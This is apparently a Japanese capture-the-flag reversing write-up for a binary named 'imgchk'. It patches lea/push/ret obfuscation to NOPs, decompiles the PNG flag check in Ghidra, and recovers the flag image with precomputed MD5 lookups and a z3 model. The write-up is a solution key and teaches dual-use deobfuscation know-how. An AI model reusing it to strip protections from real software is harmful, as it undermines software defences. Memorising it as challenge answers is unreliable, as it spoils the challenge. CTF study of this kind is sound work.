    447a:   48 8d 05 02 00 00 00    lea    0x2(%rip),%rax        # 4483 <Cake45>
    4481:   50                      push   %rax
    4482:   c3                      ret    

0000000000004483 <Cake45>:
    4483:   48 8b 45 b0             mov    -0x50(%rbp),%rax
    4487:   ba c8 00 00 00          mov    $0xc8,%edx
    448c:   48 8b 0d 3d 2b 00 00    mov    0x2b3d(%rip),%rcx        # 6fd0 <longjmp@GLIBC_2.2.5>
    4493:   48 89 ce                mov    %rcx,%rsi
    4496:   48 89 c7                mov    %rax,%rdi
    4499:   e8 92 fd ff ff          call   4230 <png_set_longjmp_fn@plt>
    449e:   48 89 c7                mov    %rax,%rdi
    44a1:   e8 da fd ff ff          call   4280 <_setjmp@plt>
    44a6:   f3 0f 1e fa             endbr64 
    44aa:   85 c0                   test   %eax,%eax
    44ac:   0f 85 7e 03 00 00       jne    4830 <Cake290+0xb>
    44b2:   48 8d 05 02 00 00 00    lea    0x2(%rip),%rax        # 44bb <Cake58>
    44b9:   50                      push   %rax
    44ba:   c3                      ret

適当に眺めたところ難読化処理は lea; push; ret; を挟むもののみなようなので、まずはパッチを当ててこれらの命令を nop の列に置き換える。また、Cake** の形のシンボルも邪魔なので合わせて消しておく。
パッチ処理のコードはChatGPTに投げるといい感じのものが返ってきたのでそれを使った。

from elftools.elf.elffile import ELFFile
from elftools.elf.sections import SymbolTableSection
from capstone import Cs, CS_ARCH_X86, CS_MODE_64

def find_instructions(file_path, output_path):
    with open(file_path, 'rb') as f:
        elf = ELFFile(f)
        elf_data = bytearray(open(file_path, 'rb').read())
        print(len(elf_data))
        
        for section in elf.iter_sections():
            if section['sh_flags'] & 0x4:  # 実行可能なセクション
                code = section.data()
                start_addr = section['sh_addr']

                md = Cs(CS_ARCH_X86, CS_MODE_64)
                md.detail = True

                instructions = []
                for insn in md.disasm(code, start_addr):
                    instructions.append(insn)

                    # LEA, PUSH, RETの連続をチェック
                    if len(instructions) >= 3:
                        last_three = instructions[-3:]
                        if (last_three[0].mnemonic == 'lea' and
                            last_three[1].mnemonic == 'push' and
                            last_three[2].mnemonic == 'ret'):
                            # 該当する命令列をNOPに書き換え
                            for instr in last_three:
                                nop_count = instr.size
                                for i in range(nop_count):
                                    elf_data[instr.address + i] = 0x90
                            print(f"Patched sequence at 0x{last_three[0].address:x}")

        for section in elf.iter_sections():
            if isinstance(section, SymbolTableSection):
                for i, symbol in enumerate(section.iter_symbols()):
                    symbol_offset = section['sh_offset'] + i * section['sh_entsize']
                    if symbol.name.startswith('Cake'):
                        print(f"Found symbol: {symbol.name} at 0x{symbol['st_value']:x}")
                        elf_data[symbol_offset:symbol_offset + 4] = b'\x00' * 4  # 名前のインデックスを無効化
                        elf_data[symbol_offset + 4:symbol_offset + 8] = b'\x00' * 4  # 値とサイズを無効

    with open(output_path, 'wb') as patched_file:
        patched_file.write(elf_data)

if __name__ == "__main__":
    find_instructions('imgchk', 'imgchk_patched')

パッチを当てたものをGhidraに渡すと無事デコンパイルができた。変数名を適当に書き換えたデコンパイル結果が以下の通り。（一部抜粋）

undefined8 check_flag(char *param_1){
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  pFVar2 = fopen(param_1,"rb");
  if (((pFVar2 != (FILE *)0x0) &&
      (png_read_struct = png_create_read_struct("1.6.37",0,0,0), png_read_struct != 0)) &&
     (png_info_struct = png_create_info_struct(png_read_struct), png_info_struct != 0)) {
    __env = (__jmp_buf_tag *)png_set_longjmp_fn(png_read_struct,longjmp,200);
    r = _setjmp(__env);
    if (r == 0) {
      png_init_io(png_read_struct,pFVar2);
      png_read_info(png_read_struct,png_info_struct);
      r = png_get_image_width(png_read_struct,png_info_struct);
      c = png_get_image_height(png_read_struct,png_info_struct);
      if ((r == 0x1e0) && (c == 0x14)) {
        colortype = png_get_color_type(png_read_struct,png_info_struct);
        bitdepth = png_get_bit_depth(png_read_struct,png_info_struct);
        if ((colortype == '\0') &&
           ((bitdepth == '\x01' && (calloc_res = calloc(0x14,8), calloc_res != (void *)0x0)))) {
          for (i = 0; i < 0x14; i = i + 1) {
            row_byte = png_get_rowbytes(png_read_struct,png_info_struct);
            pvVar3 = malloc(row_byte);
            *(void **)((long)i * 8 + (long)calloc_res) = pvVar3;
            if (*(long *)((long)calloc_res + (long)i * 8) == 0) goto code_r0x00104849;
          }
          png_read_image(png_read_struct,calloc_res);
          bVar1 = false;
          for (row = 0; row < 0x1e0; row = row + 1) {
            memset(mask,0,3);
            for (col = 0; col < 0x14; col = col + 1) {
              r = row;
              if (row < 0) {
                r = row + 7;
              }
              r_shift = (byte)(row >> 0x1f);
              c = col;
              if (col < 0) {
                c = col + 7;
              }
              mask[c >> 3] = mask[c >> 3] |
                             (byte)(((int)(uint)*(byte *)((long)(r >> 3) +
                                                         *(long *)((long)calloc_res + (long)col * 8)
                                                         ) >>
                                     (7 - (((char)row + (r_shift >> 5) & 7) - (r_shift >> 5)) & 0x1f
                                     ) & 1U) << ((byte)col & 7));
            }
            MD5(mask,3,mask + 3);
            r = memcmp(mask + 3,*(void **)(answer + (long)row * 8),0x10);
            if (r != 0) {
              bVar1 = true;
            }
          }
          if (!bVar1) {
            uVar4 = 0;
            goto LAB_0010484e;
          }
        }
      }
    }
  }
code_r0x00104849:
  uVar4 = 0xffffffff;
LAB_0010484e:
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar4;
  }
  __stack_chk_fail();
}

どうやらサイズが 480x20 であり color_type=0 かつ bit_depth=1 の画像が答えらしい。少し調べると、color_type と bit_depth はそれぞれ白黒であることと1ピクセルの色が1bitなことを表していることがわかった。
内部の処理では、各行ごとに3バイトの mask を計算した後、mask のmd5ハッシュがグローバル領域にある answer の各要素と一致していればCorrectが返ってくることがわかる。このままだと計算過程にmd5の計算が入ってきて扱いづらいので、mask として取り得る値の候補（ $2^{24}$ 通り）全てに対して事前にmd5ハッシュを計算して answer の各要素と照合しておく。こうすることで、各行の mask を特定の値にするような入力画像を生成する問題として解くことができる。
これはバイト列を謎の関数にかけた結果が特定のものになるようなバイト列を生成する問題なので、z3に落としてしまえば簡単に解ける。解が得られたらそれを画像の形式に変換して出力することで、フラグが表示された出力画像が得られた。

from hashlib import md5
from ptrlib import *

ans = b'\x04\x50\x10\x00...'

file_path = 'imgchk'
elf_data = open(file_path, 'rb').read()
rows = [bytes([0 for i in range(0x1e0)]) for j in range(0x14)]

hash_dict = {}

ans_hash = []
for row in range(0x1e0):
    target = u64(ans[row * 8:row * 8 + 4]) - 0x100000
    ans_hash.append(elf_data[target:target+0x10])
    if ans_hash[-1] not in hash_dict:
        hash_dict[ans_hash[-1]] = []
    hash_dict[ans_hash[-1]].append(row)


# def compute_hash(a, b, c):
#     byte = bytes([a, b, c])
#     hasher = md5.MD5()
#     hasher.update(byte)
#     return hasher.digest()
# import sys # 予めこれを走らせてhashのリストをfound.txtに出しておく
# for a in range(256):
#     print(a)
#     for b in range(256):
#         for c in range(256):
#             hash = compute_hash(a, b, c)
#             if hash in hash_dict:
#                 print(f'({[a, b, c]}, {hash})', file=sys.stderr)

hash_to_key = {}
with open('found.txt', 'r') as f:
    for line in f:
        obj = eval(line)
        hash_to_key[obj[1]] = obj[0]
            
def cut(val: int, start: int):
    return (val >> start) & 255

from z3 import *

mat = [BitVec(f'mat_{i}', 0x1e0) for i in range(0x14)]

z = BitVecVal(0x01010101, 8)

sol = Solver()
for row in range(0x1e0):
    masks = [0 for i in range(3)]
    for col in range(0x14):
        masks[col >> 3] |= ((LShR(Extract((row>>3)*8+7, (row>>3)*8, mat[col]), (7 - (row & 7))) & 1) << (col & 7)) & 255
    gts = [BitVecVal(hash_to_key[ans_hash[row]][i], 8) for i in range(3)]
    for col in range(3):
        sol += masks[col] == gts[col]


print(sol.check())
m = sol.model()
mat = [m[mat[i]].as_long() for i in range(0x14)]
pixel_data = [[0 for i in range(0x1e0)] for j in range(0x14)]

for i in range(0x14):
    for j in range(0x1e0):
        pixel_data[i][(j // 8) * 8 + 7 - (j % 8)] = (mat[i] >> j) & 1

from PIL import Image

height = len(pixel_data)
width = len(pixel_data[0])

img = Image.new('1', (width, height))

for y in range(height):
    for x in range(width):
        img.putpixel((x, y), pixel_data[y][x])

img.save('output_image.png')